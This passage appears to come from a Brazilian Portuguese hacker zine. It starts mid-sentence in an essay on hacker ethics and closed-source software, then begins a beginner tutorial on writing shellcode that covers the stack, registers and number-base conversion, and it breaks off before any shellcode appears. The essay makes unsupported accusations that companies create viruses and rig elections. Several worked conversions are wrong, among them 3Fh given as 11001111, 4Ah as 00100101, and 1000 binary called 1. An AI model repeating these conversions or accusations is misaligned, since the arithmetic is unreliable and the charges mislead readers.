cracker consegue fazer algo grandioso pois eles irao lucrar vendendo mais seus produtos e servicos.Defendem com unhas e dentes os produtos que comercializam, mesmo chegando as vezes a falarem 'loucuras' para poderem enganar os que nao enxergam o que estah por tras dos seus interesses.Alguns fabricam virus, colocam a culpa nos hackers(hackers nao publicam virus) e depois vendem antitodos e antivirus para combaterem a praga que eles mesmo criaram.Outras empresas se unem a governos e fraudam o processo elitoral para que um determinado 'candidato' venca para depois assinar um contrato milionario com a empresa.Essas pessoas representam aquelas grandes corporacoes que vimos no item anterior, e elas eh quem devemos denunciar! * A PARTE BOA -------------- A parte boa eh representada por alguns membros(menos de 0,01%) da Comunidade de Seguranca que acreditam nos ideiais hackers, divulgam o sentido dos termos, ajudam hackers quando perseguidos, se aliam a hackers para denunciar problemas com a 'banda podre' e as empresas representadas por esta 'banda podre', e principalmente lutam pela seguranca por usuarios comuns.Essa parte boa goza de um prestigio grande na Comunidade Hacker e sao sempre bem quistos.Alguns abandonam a Comunidade de Seguranca e passam a fazer frente na Comunidade Hacker, outros acreditam que estar na Comunidade de Seguranca serve como estrategia para 'derrubar' as corporacoes inescrupulosas e a 'parte podre'.Esses profissionais possuem o meu total respeito e consideracao. Agora que voce sabe quem eh quem, abra os olhos para nao ser ludibriado. Cuidado com 'as raposas vestidas de cordeiros'.Fique atento sempre!! Seja Critico! 2.3. - Codigo Aberto x Codigo Fechado -------------------------------------- Essa discussao vem ganhando ambito, principalmente no que se pode chamar de 'guerra' entre Windows e Linux.O que voce acha mano, codigo fonte aberto eh mais seguro do que fechado?? Para um hacker o que eh melhor?? Irei expor minha opiniao sobre isso, analise voce mesmo e tire suas conclusoes. O codigo aberto nada mais eh do que a exposicao total dos codigos fontes que serao usados por determinada aplicacao ou programa.Essa filosofia ganhou forca apos a criacao do projeto GNU que tornava livre os softwares. Muitos sistemas adotam esta filosofia, inclusive o Sistema Operacional OPENBSD considerado atualmente como o sistema operacional mais seguro que existe.Esse exemplo por sih soh jah mostra que o codigo fonte aberto eh algo bom para a seguranca de um Sistema Operacional.A guerra que vem sendo travada no momento eh Linux x Windows, e nao OpenBSD x Windows, consegue entender?? A Microsoft tem perdido fatia no mercado para o Linux, entao ela precisa atacar o Linux de alguma forma e o alvo escolhido foi o conceito 'Codigo Fonte Aberto'.Para um hacker o que eh melhor, aberto ou fechado???E para um cracker?? Por que pessoas defendem o codigo fonte fechado?? Respostas a essas perguntas seguem abaixo: + Para um hacker, o que eh melhor em busca de 'LIBERDADE DE INFORMACAO' e a seguranca dos usuarios comuns, eh o melhor para ele.No primeiro ponto, o codigo fonte aberto proporciona um maior intercambio, maior troca de informacoes, uma evolucao maior no aprendizado da informatica.Com o codigo fonte aberto varios usuarios podem opinar, melhorar o programa, apontar erros e solucoes, podem 'personalizar' o sistema.A seguranca tende a aumentar, pois muita gente estarah analisando os codigos, seja em busca de bugs ateh backdoors,para o usuario comum isto eh lucro! Entao o codigo fonte aberto soh traz beneficios, logo, um hacker defende o aumento deste conceito, pois todos tem a ganhar, exceto os inimigos dos hackers, que vimos anteriormente, pois eles sobrevivem no ocultismo. + Para um cracker o software aberto eh uma barreira.Torna a longo prazo, mais dificil dele penetrar nos sistemas, e a instalacao de backdoors e virus passa a ser infinitamente mais visivel que num codigo fechado.A troca de informacoes prejudica a acao de crackers, pois uma tecnica que ele domina hoje eh mais rapidamente combatida com a troca de informacoes, jah que a solucao nao estarah somente nas maos de 1 unica empresa.Nao se iluda amigo, os crackers hoje em dia possuem conhecimentos maiores que a atual Comunidade de Seguranca! + Mas vemos pessoas defenderem o uso de softwares com codigo fonte fechado! Nao podemos generalizar, mas nesse ponto, ao meu ver, as pessoas que defendem o uso de software de codigo fechado podem ser divididas em dois grupos.Sao eles: * Os Desinformados -> Falta conhecimentos sobre tecnicas usadas por crackers e nao conhecem nem mesmo as estatisticas divulgadas de invasoes.Acham que crackers nao possuem conhecimentos superiores aos deles e creem que uma forma de barrar a acao dos crackers eh justamente limitar a 'liberdade de informacao'.Chegam ao cumulo de acharem que crackers aprendem atraves de mail list como bugtraq!! Crackers e Hackers estao ha alguns passos do que eles consideram 'conhecimento tecnico avancado' de pratica de seguranca.A grande maioria dessas pessoas obedecem ao ego e por isso possuem sua parte de culpa 'no crescimento dos crimes de informatica'. * Os Inescrupulosos -> Esses sao os que defendem pensando em interesse proprio.Nao se importa com o usuario comum e defendem o codigo fonte fechado porque trabalham para empresas que usam codigo fonte fechado! Sao pessoas inescrupulosas, pois conhecem a verdade, mas defendem a mentira unicamente para obterem vantagens pessoais.Pregam a obscuridade em tudo, ou seja, jamais ensinam o que aprenderam(olha que na maioria das vezes eles aprendem com hackers!).Temem que um maior crescimento da conciencia de software livre e liberdade de informacao possam deixa-los desempregados.Sao pessoas capazes de fazerem coisas 'monstruosas' para defenderem seus lucros, inclusive injetarem backdoors nos seus produtos a mando de um governo qualquer(vide chave NSA). Eh bastante comum em mail lists aparecem mensagens de pessoas que defendem o codigo fonte fechado.Muita discussao rola sobre isso, mas amigo, o pessoal mais velho jah conhece muito bem essas figuras.Nao perca seu tempo discutindo em mail lists, o que eu tenho visto ultimamente, eh um monte de gente defendendo empresas sem escrupulos(Microsoft,SUN, Red Hat, Conectiva, etc, etc e etc) por interesses proprios.Nao se preocupe, pois qualquer um com conhecimentos basicos de informatica sabe que essas empresas nao sao boas na parte tecnica e pessimas na parte etica.E alem de tudo, a verdade eh uma soh e ela se manifesta no tempo apropriado! 2.4. - O Lucro com o Hacking ----------------------------- Livros, revistas, jornais, filmes,patrocinios em home pages e etc.. Atualmente falar sobre hackers eh alvo rentavel, existem dezenas de livros que vendem 'tecnicas milagrosas' para se invadir redes como a do pentagono. Existem sites que esbanjam o nome 'HACKER' em atividades criminosas em busca de obter retorno de investimento.Membros da parte podre da comunidade de seguranca dando cursos e mais cursos visando nada mais nada menos do que formulas de como se livrar dos hackers.Jornalistas inescrupulosos atras de 'ibope' e ascensao meteorica na carreira entrevistando criminosos e criancas que se dizem hackers.Essas pessoas sao despreziveis, sua essencia eh desprezivel. O hacking eh maior do que tudo isto, a beleza do hacking nao pode ser comercializada, pois pouca gente conseguiria visualizar a leveza e grandiosidade que envolve a etica hacker.As pessoas hoje em dia buscam lucro em tudo que se pode imaginar, e o hacking nao eh diferente. Quanto mais catastrofico o cenario, melhor para essas pessoas, no entanto, o hacking tem superado isto tudo e permanece vivo apos todas essas sucessivas 'difamacoes'.Temos pessoas ainda hoje em dia que contemplam a verdade e buscam viver a verdade.Nenhuma riqueza no mundo eh capaz de alegrar o coracao de um fucador como o hacking etico consegue fazer. Mesmo com toda essa 'sujeira' ainda existe uma esperanca e eh por isso que escrevo.O hacking puro eh capaz de mudar mentalidades e fazer transparecer a verdade, verdade estah que estah oculta aos olhos da maioria das pessoas.A etica hacker eh capaz de nos ensinar valores morais que toda a sociedade se alegraria em ver! O hacker nao eh nacionalista,ele busca a paz, nao eh ganancioso e nem capitalista, ele eh democratico, eh sincero, eh verdadeiro.Um hacker eh um sonhador, eh um revolucionario, eh um co-irmao de todos os oprimidos e discriminados.Um hacker eh justo e fiel, se apega a seus principios e morre defendendo eles.A etica hacker estah alem de uma pessoa soh, estah alem de uma comunidade soh ou de um pensamento soh! A essencia do hacker eh a liberdade! Liberdade esta verdadeira, nao a pregada por governos. Um hacker eh um guerreiro, um guerreiro em fase de extincao! Este eh o meu pensamento sobre esses assuntos.Tem muito mais coisas para se discutir.A etica hacker nao eh um pensamento de um soh homem.Existem bons textos que divulgam 'a etica hacker em sua essencia', recomendo a leitura do zine Barata Eletrica, lah voce poderah encontrar informacoes valiosissimas! Estou aberto a discussao e a receber opinioes sobre esses assuntos, meu e-mail estah a disposicao. Seja critico nas coisas que eu escrevi, pergunte a sih mesmo se o que escrevi eh verdade, se essas coisas sao assim mesmo, busque voce mesmo formar a sua opiniao a respeito desses assuntos, nao deixe nunca alguem "escravizar a sua mente".As dificuldades da vida sao muitas, e pessoas mudam... Mas os feitos permanecem, e se conseguir enxergar os feitos, verah a grandiosidade ou a monstruosidade das pessoas! HACK THE PLANET!!!! =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=[ 13 ]=-=[ Básico Shell Code ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ######################################################################## ######################## UNSEKURITY TEAM ############################### ######################################################################## IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br http://unsekurity.virtualave.net/ Desenvolvido por Nash Leon vulgo coracaodeleao. Thanks Ramona,Magic Kiss e Unsekurity Team. nashleon@yahoo.com.br Aviso: Nao nos responsabilizamos pelo mau uso dos programas e dados aqui fornecidos, bem como a utilizacao desse texto p/ fins maliciosos, este texto possui somente propositos educacionais. --------------------------------- | TUTORIAL BASICO DE ESCRITA | | DE SHELLCODES | --------------------------------- ------------------------------ INDICE ------------------------------- 1.INTRODUCAO 2.MODELO USUAL DE MEMORIA 2.1 A Regiao do Stack(Pilha) 3.TERMOS NECESSARIOS DO JARGAO 4.CALCULOS ENVOLVENDO AS NOTACOES (hexa,decimal e binario) 4.1 Sistemas Decimal e Binario 4.2 Sistema Hexadecimal 5.REGISTRADORES 5.1 Registradores Gerais 5.2 Registradores de Segmento 5.3 Registradores de Indexacao do Stack 5.4 Outros Registradores muito Usados 6.LISTA DE COMANDOS 6.1 Instrucoes de Transferencia 6.2 Instrucoes Aritmeticas 6.3 Instrucoes de Comparacao 6.4 Instrucoes de Salto 6.5 Instrucoes Logicas 7.SHELLCODES 7.1 Shellcode /bin/sh 7.2 Shellcode para setuid(0) 7.3 Shellcode para quebrar chroot() 7.4 Dividas para o proximo tutorial 8.TERMINANDO 8.1 Diferencas entre a sintaxe INTEL & AT&T 8.2 Links e Referencias 8.3 Consideracoes Finais ---------------------------------------------------------------------- ------------- 1. INTRODUCAO| ------------- Bem amigo, estou de novo aqui, tentando disponibilizar alguma coisa relacionada ao mundo dos fucadores(fussadores).A recepcao ao txt anterior foi muito boa, e os creditos se devem a uniao que vem sendo apresentada pelo grupo "Unsekurity Team", entao soh cabe a mim, dar continuidade aos trabalhos, sendo que em breve estaremos disponibilizando projetos desenvolvidos por nos mesmos, visando um maior intercambio entre os membros e a comunidade que mexe com "inseguranca" de um modo geral. Esse tutorial nao tem o intuito de se aprofundar neste assunto, somente dar o ponta-peh inicial, virao outros tutoriais em breve, visando mais aprofundamente e aperfeicoamente desta materia(Escrita de shellcodes).A questao do tempo, nosso inimigo, tem sido levada em conta, por isso devemos ir com calma.Logo em breve, estaremos avancando juntos, na divulgacao de Teorias e Praticas mais abrangentes, e divulgando mais materiais interessantes no que diz respeito a conhecimentos na area de programacao voltada a fucadores.O intuito nao eh, nem jamais serah dar receitinhas de bolo, ou mesmo, disponibilizar lixo. Tendo em vista um publico alvo de Newbies, digo isso nao por menosprezo, como tem gente falando por aih, pois antes de tudo eu tambem sou um Newbie, vivo pesquisando e buscando informacoes.Voce deve estar se perguntando, mas newbie sao novatos, begginers, sem experiencia!!!Quem disse que eu nao sou isso??:)...Hoje em dia eh preferivel mil vezes ser conhecido e chamado de "lamer" do que qualquer outra coisa. Tendo em vista que a midia diz que "hackers" destruiram isso e aquilo, que mudaram essa ou aquela home page!!Prefiro ser comparado com lamer do que com isso!! Mas, bola para frente,iremos escrever shellcodes baseados em assembly, Como o escritor desse texto nunca pisou numa faculdade de computacao ou num curso de programacao,nao se pode esperar muito dele nesse quesito, por isso irmao,rale!!pense! corra atras!!Sabemos que fucadores sao praticos, isso os coloca numa classe onde de um lado,os programadores experientes que mexem com softs complexos dizem: "eles nao sabem programar" e do outro profissionais da seguranca que dizem: "Eles sao bons programadores", e voce no meio disso tudo sem saber se sabe das coisas ou nao.Vai minha opiniao,fucadores sao praticos!!programam o essencial p/ se obter um determinado objetivo!! Desse modo a seguranca e os programadores experientes estao certo, fucadores nao mexem com metodos complexos de algoritmos, mas alcancam com o que sabem o alvo que estipularam.Sendo um bom ou mau programador voce pode sim um dia ser um otimo fucador.Tem gente que diz que eh dificil escrever um exploit!!Acho que a maioria sabe que a coisa varia, mas fazer a carcaca, e entender o por que da carcaca, creio que todos que leram a phrack 49 jah sabem!!:) Vamos deixar de conversa fiada e vamos caminhando.Os exemplos akih serao feitos todos em plataforma linux, usando o compilador gcc mesmo. Lembrando que esse texto eh voltado p/ shellcodes em c.Usaremos o debugador gdb da gnu que vem na maioria dos linuxes descentes. A sintaxe serah a AT&T(para unix),sendo que terah no final uma breve explicacao sobre ela,p/ usuarios de sistemas INTEL(dos) verem como funciona a coisa. Vamos partir do inicio que voce jah leu ou sabe alguma coisa de assembly,que conhece o porque de se usar essa linguagem, e essas coisas toda de se programar com assembly,porque se pode fazer isso e aquilo. Os exemplos praticos aqui descrito sao simples,mas a medida que a coisa for ficando cada vez mais dificil, iremos recapitular,de modo que antes de comecarmos eu jah aviso: Paciencia!!Tenha muita Paciencia!! Estaremos trabalhando com baixo nivel, soh quem conhece sabe o poder que essa linguagem possui.Pense que, os melhores virus,os melhores exploits, os melhores shellcodes,os melhores ??????? foram feitos em assembly por pessoas que um dia sabiam menos do que voce amigo.Como eu nao pretendo ir fundo em assembly, cabe a voce pesquisar mais sobre essa linguagem, caso necessite mesmo.Outro pre -requisito eh saber programar em C, hoje em dia o fucador necessita ir fundo nessa linguagem. Bom, daremos inicio logo a esta jornada.Boa Sorte Fera!!! --------------------------- 2. MODELO USUAL DE MEMORIA | --------------------------- O modelo usual de memoria difere de sistema para sistema.Em Linux/i386 ela possui modelo flat de 32 bit.Um programa pode ser dividido em secoes.As secoes sao .text para seu codigo, .data para seus dados, .bss para dados indefinidos.Os programas devem ter no minimo a secao .text. Um esquema para visualizacao disso seria: ------------------- | .DATA | | (Stack) | ------------------- | .BSS | | (Heap) | ------------------- | .TEXT | ------------------- Como vimos acima, eu coloquei as respectivas regioes onde ocorrem oveflows relacionados.Stack overflows ocorrem na regiao .data, heap tambem pode ser usado p/ sobrescrever essa regiao (.data), mas eh usualmente mais usado p/ sobrescrever a regiao .bss.Num outro txt, veremos como fazer overflows, mas por enquanto, se atenha soh ao shellcode(codigo que se executa via exploits) que se localizarao na regiao Stack. 2.1 - A REGIAO DO STACK (PILHA) --------------------------------- A regiao conhecida como STACK ou pilha, eh responsavel por receber dados(argumentos) e passa-los p/ as funcoes.Essa regiao possui tamanho relativo(muda quase sempre).O nome que se dah a essa regiao(STACK) eh porque ela pode ser comparada a uma pilha, onde voce vai enchendo ela de dados, soh que ela possui uma particularidade.Essa particularidade consiste em: O ultimo dado a entrar serah o primeiro a sair, chamamos isso de LIFO - last in, first out (ultimo a entrar,primeiro a sair). Na medida em que eh usado, o Stack ou a pilha,chamarei de Stack, cresce p/ baixo, sendo assim, a quantidade de memoria necessaria eh determinada pela maneira como o programa foi projetado.Por exemplo, um programa com muitas funcoes recursivas utiliza mais memoria no Stack do que um programa sem funcoes recursivas, justamente porque variaveis locais sao armazenadas no Stack.A parte necessaria para o programa e as variaveis globais, eh determinada durante a execucao do programa. Uma pilha(Stack) eh o contrario de uma fila,porque usa o acesso "ultimo a entrar, primeiro a sair", denominado LIFO.Para visualizar um Stack, basta imaginar uma pilha de pratos.O prato da base do Stack eh o ultimo a ser usado e o prato do topo, o primeiro.Stacks sao geralmente utilizados em softwares basicos, incluindo compiladores e interpretadores.Geralmente o C usa o Stack quando passa parametros(argumentos) as funcoes.Dois comandos em assembly sao usado para enviar e retirar dados do Stack, sao eles push e pop, respectivamente. Veremos abaixo o esquema de um Stack em acao: Acao Conteudo do Stack ------ --------------------- push(A) A push(B) A B push(C) A B C pop() /* retira o ultimo */ A B push(N) A B N pop() A B pop() A pop() /* vazio */ Vemos acima o esquema da LIFO - ultimo a entrar,primeiro a sair. Isso eh mais do que o suficiente, espero que tenha ficado claro as coisas para voce,amigo!! -------------------------------- 3. TERMOS NECESSARIOS NO JARGAO | -------------------------------- Se voce manja de assembly, JMP 7.Se nao, entao isto eh util para voce. Iniciaremos aprendendo um pouco sobre alguns termos no jargao da informatica que serao muito uteis para nosso aprendizado,comecaremos do mais simples: 1 BIT: |0| Simplesmente o menor dado que existe.O computador entende em duas condicoes um 1 ou um 0. Exemplo: |00000001| = 1 ; |00000010| = 2; 1 NIBBLE: |0000| 1 NIBBLE equivale a 4 BITs, e eh metade de um BYTE.Se voce notar, verah que ele possui um valor maximo de 15(|1111|). Numeros em hexadecimais sao baseados no NIBBLE, possuem tambem um valor maximo de 15, que eh representado pela letra F.Os digitos em HEXADECIMAL seguem a seguinte ordem: "0123456789ABCDEF" A notacao padrao para numeros em HEXADECIMAL eh zero seguido pelo numero em hexadecimal, seguido pela letra "h" indicando que estah em hexa. Exemplo: "0FFh" = 255 em decimal. Como vamos mecher com compilador C, geralmente usaremos a notacao seguinte: Um zero seguido de um x e em seguida o numero em hexadecimal. 0xff = 255 em decimal. Um exemplo pratico para vermos isso usando C, seria: #include main(){ printf("O numero 255 em hexadecimal eh 0x%x \n",255); } Como podemos ver esse 0x antes do numero propriamente dito em hexa eh somente por padronizacao, e adotaremos ele no decorrer desse tutorial. Veremos agora algumas coisas sobre BYTE. 1 BYTE: |00000000| 2 NIBBLES %al 8 BITS Como podemos ver, 1 BYTE eh diferente de 1 BIT,muita gente costuma confundir isto.Um BYTE possui um valor maximo de 0xFF ( = 255 em decimal). Um BYTE equivale a 2 NIBBLES, entao sua representacao hexadecimal eh simplesmente dois digitos hexa em uma fila. Exemplo: 0x14, 0x20, 0xAE, 0xff, etc. Esse "%al" descrito acima, representa um tipo de registrador de tamanho de 1 BYTE, no caso, esse registrador eh o Acumulador Low(Acumulador Baixo).Estamos desde jah usando a sintaxe AT&T, se voce estah acostumado com a sintaxe INTEL, leia mais abaixo as diferencas.Mais lah na frente voce verah o que significa esse "al". Veremos agora outro termo muito conhecido do jargao, a WORD, alguns preferem traduzir por PALAVRA, mas ficarei com a forma original, como poucos traduzem NIBBLE, nao traduzirei nenhum desses termos p/ que voce possa jah ir se acostumando com eles na forma original. 1 WORD: |0000000000000000| 2 BYTEs %ah %al 4 NIBBLEs %ax 16 BITs Vemos que nesse termo tambem nao ha muito segredo, 1 WORD (%ax) equivale a 2 BYTEs (%ah + %al), 4 NIBBLES, logo eh representado com 4 digitos em hexadecimal. Este eh o tamanho dos registradores de 16 bits em sistemas 80x86.Veremos agora um DWORD ou dupla WORD. 1 DWORD: 2 WORDs: |00000000000000000000000000000000| 4 BYTEs: %ah %al 8 NIBBLES: %ax 32 BITs: %eax Uma DWORD equivale a 2 WORDs, tambem possui o nome DOUBLE-WORD.Possui um valor maximo de 0xFFFFFFFF, 8 NIBBLES("F"), que equivale a 4,294,967,295 em decimal.Pequeno hein!! Como vimos, linux eh 32bits, usaremos muito essa notacao de 32 bits que serah explicada mais abaixo.Mas saiba que o "e" antes do registrador( ex: %eax) indica que o registrador eh extendido. ------------------------------------------------------------ 4. CALCULOS ENVOLVENDO AS NOTACOES (hexa, decimal e binaria)| ------------------------------------------------------------ Ja sabemos o que sao numeros binarios, numeros em hexadecimal e o sistema comum da humanidade que eh os numeros em decimal.A conversao entre numeros varia muito, use um pouco da matematica da melhor forma possivel, caso jah saiba isso tudo, nao hesite em pular para o proximo topico, caso nao saiba, darei um breve explicacao sobre os metodos de conversao simples. 4.1 Sistemas Decimal e Binario. ----------------------------------- Para nao termos duvidas quanto a conversao entre sistemas, faz-se necessario uma breve explicacao desses dois sistemas acima. O nosso sistema comum de calculos, o decimal, possui uma base 10, a razao disso eh que nos primordios das civilizacoes, o homem iniciou suas contas com a ajuda dos dedos das maos, como temos dez, convencionou-se fazermos nossos calculos usando como referencia 10 possiveis numeros.As maquinas nao possuem maos..:).. elas interpretam apenas dois estados (ligado e desligado), entao a notacao binaria, 1 ou 0, tornou-se habil p/ se usar em computadores.Nao possuo muito conhecimento nessa parte de hardware, ouvi comentarios que existem sistemas trinarios, mas nunca lih nada a respeito, fica aih uma pergunta, existe mesmo isso? De qualquer forma isso nao se aplicarah aos nossos estudos, lembre-se,fucadores sao praticos! Para fazermos conversao entre esses sistemas, nos utilizamos dos seguinte artificios: * De Binario para Decimal: -------------------------- + Pegamos o numero binario que queremos conveter colocando-o ao contrario, de tras p/ frente(da direita p/ a esquerda), em seguida dividimos ele em partes(casas), deixando cada digito binario(1 ou 0) sozinho.Depois nos multiplicamos cada digito por 2 elevado a casa decimal correspondente dele - 1.Vejamos um exemplo com o numero 10011. - Primeiro nos invertemos ele, fazendo-o ficar da seguinte forma: 10011(antes) - invertemos fica - 11001(depois). Preste atencao, o que fizemos foi fazer o ultimo digito se tornar o primeiro, e assim sucessivamente. Feito isso seguimos multiplicando cada digito por 2 elevado a casa correspondente menos 1.Vejamos: binario: 1 1 0 0 1 decimal: 1*2^0 1*2^1 0*2^2 0*2^3 1*2^4 = 1 + 2 + 0 + 0 + 16 = 19. O caracter " ^ " indica que o numero eh uma potencia, seria 1 que multiplica 2 elevado a 0 no primeiro caso. Nao ha segredo, multiplica-se o numero binario(1 ou 0) por 2 elevado a casa decimal dele menos 1. Vejamos mais um exemplo: Pegamos o numero binario 1010b e facamos a conversao: - Primeiro nos invertemos o numero binario: 1010(antes) -> Inverte-o -> 0101(depois) - Em seguida multiplicamos cada digito por 2 elevado a casa dele menos 1. 0 1 0 1 0*2^0 + 1*2^1 + 0*2^2 + 1*2^3 = 0 + 2 + 0 + 8 = 10 Podemos ver perfeitamente que nao eh nada dificil, espero que tenha entendido.Caso se faca necessario,haja duvidas, consulte outros textos sobre isso nas home pages que divulgo no final desse arquivo texto. * De Decimal para binario: -------------------------- Existem varios metodos p/ converter Decimal para Binario.Iremos demostrar aqui, o metodo mais facil e conhecido.Vejamos um exemplo com o numero 56: 56/2 = 28 (nao possui resto entao eh = 0); 28/2 = 14 (nao possui resto entao eh = 0); 14/2 = 7 (nao possui resto entao eh = 0); 7/2 = 3 (possui resto entao eh = 1); 3/2 = 1 (possui resto entao eh = 1); 1/2 = 0 (possui resto entao eh = 1); Iremos entao construir o numero do ultimo a ser calculado ateh o primeiro ( de baixo para cima).Seria entao: 111000 Eis aih nosso esquema p/ converter de decimal para binario: Pegamos o numero e dividimos ele e seus restos por dois (fatoramos), admitindo sempre que o resultado eh um numero inteiro, quando houver resto, entao o correspondente eh o numero binario 1, quando nao houver o correspondente eh o numero binario 0, depois pegamos os binarios de baixo para cima para formarmos o numero completo correspondente ao numero decimal desejado. 4.2 Sistema Hexadecimal ----------------------- O sistema hexadecimal como foi mostrado acima possui uma base de 16 digitos. Sao eles os numeros de 0 a 9 e as letras de A a F do nosso alfabeto que correspondem a 10,11,12,13,14,15,16 , respectivamente.Entao a notacao hexadecimal consiste da seguinte sequencia: 0123456789ABCDEF. Veremos agora as conversoes entre esses sistemas: * De Binario para Hexadecimal ------------------------------ A primeira coisa que devemos fazer eh dividir o numero binario em grupos de 4 bits, iniciando da direita para a esquerda.No caso do ultimo grupo, caso o numero binarios nao possua casas de multiplos de quatro,dividimos igualmente, e enchemos o resto da estrutura(numero binario p/ ficar como multiplo de quatro) com zeros(0).Vejamos um exemplo com o numero binario 101011 : 10:1011 -> Dividimos ele em grupo de 4,mas faltam casas entao 1000:1011 -> Enchemos ele com zeros p/ que fique com grupos de 4 completo. Lembre-se, coloque os zeros a esquerda. Agora pegamos cada grupo como um numero independente e consideramos o seu valor em decimal. ex: 1000 = 1 em Decimal. (1*2^0 + 0*2^1 + 0*2^3 + 0*2^4 = 1) 1011 = 11 em Decimal.(1*2^0 + 0*2^1 + 1*2^2 + 1*2^3 = 11) 0010 = 1 ; 1011 = 11. Juntamos entao os resultados obtidos em cada grupo: 111 Como 111 daria erro, temos que transformar os numeros maiores que 9 para suas respectivas letras.11 possui a letra B.Entao nosso numero ficaria 1Bh ( onde h serve para indicar que o numero eh hexadecimal ). * De Hexadecimal para Binario: ------------------------------ Tambem nao possui misterio, fazemos o processo inverso do descrito acima. Vejamos para o numero 3Fh. 3F eh a uniao de 3 com F(15); nosso numero seria 3 no primeiro grupo e 15 no segundo. Passando de decimal para binario,teriamos: 3/2 = 1 (possui resto entao eh = 1); 1/2 = 0 (possui resto entao eh = 1); o numero 3 em binario eh igual a 11. 15/2 = 7 (Possui resto entao eh = 1); 7/2 = 3 (Possui resto entao eh = 1); 3/2 = 1 (Possui resto entao eh = 1); 1/2 = 0 (Possui resto entao eh = 1); o numero 16 em binario eh 1111. Unindo as estruturas da direita para a esquerda,teremos: 1100;1111 Logo nosso numero seria 11001111. Existe um tutorial em portugues, que deve estar entre os links que divulgo no final que se enrola nisso em cima, tem que estar atento, ele troca, enche as casa de que nao sao multiplas de 4 de forma errada, por isso amigo, fique atento e busque mais material sobre isso, caso tenha duvidas, e como isso eh matematica, ou eh certo ou errado, nao tem meio termo, pesquise!Mas para que meus leitores nao possuam duvidas, eu escrevo para Newbies, aih vai mais um exemplo, compare com o anterior e verah que existe exatidao nos calculos. Mostraremos a conversao do numero 4A em hexa para binario: Primeiro dividimos ele em partes: 4 | A 4 | 11 Depois Fazemos sucessivas divisoes em cada um, sempre observando o resto obetido, se o resto for igual a um inteiro perfeito, o binario correspondente eh zero, senao o binario correspondente eh um: 4/2 = 2 -> O resto eh um inteiro, logo binario correspondente = 0. 2/2 = 1 -> O resto eh um inteiro, logo binario correspondente = 0. 1/2 = 0,5 -> O resto nao eh um inteiro perfeito, lgo binario = 1. Unindo os resultados num grupo de quatro, teremos: 0010; Onde esse ultimo zero eh acrescentado para completarmos o grupo. Agora para A que equivale a 10 em decimal. 10/2 = 5 -> O resto eh um inteiro, logo binario correspondente = 0. 5/2 = 2,5 -> O resto nao eh um inteiro, pegamos o 2,5 e arredondamos para 2, e jah que o resto nao eh um inteiro, entao o binario correspondente eh igual a 1. 2/2 = 1 -> Resto inteiro, binario = 0. 1/2 = 0.5 -> Aqui nos paramos, numero nao eh inteiro, binario = 1. Pegando os binarios correspondente, teremos: 0101; Como vimos jah eh um grupo de 4. Unimos os dois grupos de 4 e obteremos o resultado final: 0010;0101 00100101 Nosso numero hexadecimal 4A em binario eh igual a 00100101. * De Decimal para Hexadecimal ------------------------------ Isso eh bastante simples.Sabemos que pela notacao, faz-se necessario dessa forma, substituirmos um numero maior que 9 e menor que 15 pela respectiva letra correspondente(A ateh F).Levando-se em conta isso, fazemos o seguinte esquema para conversao de um numero decimal para hexadecimal: + Dividimos ele por 16. Pegamos seu resto. + Dividimos o quociente da divisao acima e dividimos por 16.Pegamos o resto. + O mesmo esquema anterior sucessivamente, ateh que o numero obtido no quociente da divisao anterior seja menor que 16, aih ele proprio serah considerado como sendo o resto. Vejamos um exemplo: Usaremos o numero 2000 como exemplo. Dividimos ele por 16 e seus sucessivos quocientes tambem por 16.Ex: 2000 / 16 = 125 (Quociente = 125; Resto = 0); 125 /16 = 7 (Quociente = 7; Resto = 13); 7 / 16 => (Aqui 7 eh menor 16 entao fica sendo resto = 7) Podemos notar que temos 3 numeros, pegamos os restos obtidos de baixo(ultimo) para cima(primeiro) e unimos num soh numero, assim: 7 - 13 - 0 => 7 - D - 0 => 7D0 Eis aih o nosso numero 7D0.Lembrando que pela notacao, 13 eh igual a D. Irei demonstrar outro numero como exemplo, para que nao hajam duvidas: Vejamos o numero 1980 (Considerada a decada de ouro do hacking mundial). Comecamos dividindo ele por 16; 1980 / 16 = 123 (Quociente = 123; Resto = 12); 123 / 16 = 7 (Quociente = 7; Resto = 11); 7 / 16 => 7 (Como divisor < 16 entao fica ele como Resto = 7); Pegando de baixo(ultima divisao) p/ cima(primeira divisao), teremos: 7 - 11 - 12 => 7 - B - C => 7BC. Bem, aih estah amigo.Veremos agora outro tipo de conversao: * De Hexadecimal para Decimal: ------------------------------ De Hexadecimal para Decimal eh bem simples.Caso nao tenha entendido os calculos acima, talvez isto sirva para clarear um pouco.O processo para se obter um numero Decimal a partir de um Hexadecimal eh exatemente o metodo oposto ao demostrado acima.Vejamos; + Pegamos um numero hexa, dividimos ele em partes ou casas decimais e multiplicamos ele pelo numero (16 ^ X), onde X representa a casa decimal ocupada pelo respectivo numero - 1.Em seguida somamos os resultados obtidos com cada multiplicacao. Vejamos um exemplo com o numero 7BC citado acima. Para facilitar, separamos ele em casas; 7 - B - C => 7 - 11 - 12; Pegamos cada casa e multiplicamos por 16 elevado a casa - 1 (16 ^ X). 7 * 16 ^ 2 = 1792 11 * 16 ^ 1 = 176 12 * 16 ^ 0 = 12 Somando os respectivos resultados,teremos: ----- 1980 Como visto, nao eh nem um pouco complicado, mas demonstrarei outro exemplo usando o numero hexadecimal 5F1. Dividindo ele em partes, teremos: 5 - F - 1 => 5 - 15 - 1 Pegando cada casa e multiplicando por 16 elevado a casa - 1 (da direita para a esquerda).Teremos: 5 * 16 ^ 2 = 1280 15 * 16 ^ 1 = 240 1 * 16 ^ 1 = 1 Somando os resultados obtidos, teremos: 1280 + 240 + 1 = 1521. Eh isso aih amigo, nao vou ensinar operacoes envolvendo numeros desses sistemas numericos, nao creio que usarei aqui neste tutorial, mas eh bom saber disso tudo, veja outros txts, isso eh importante no mundo da programacao de baixo nivel, nao use programas que jah dao o resultado instantaneo, sem saber o processo mano!!Essas calculadoras tem servido muito para alienar o pessoal, fazendo com que mais pessoas fiquem dependentes das maquinas, para efetuarem os calculos.Eu sei que o pessoal que meche com baixo nivel, eh porque gosta de programar, nada contra quem usa alto nivel, mas com alto nivel as coisas sao muito limitadas, muito mesmo, ainda mais para nossos intuitos.Entao amigo, se quer ser um fucador de verdade, nao digo para deixar de vez as linguagens de 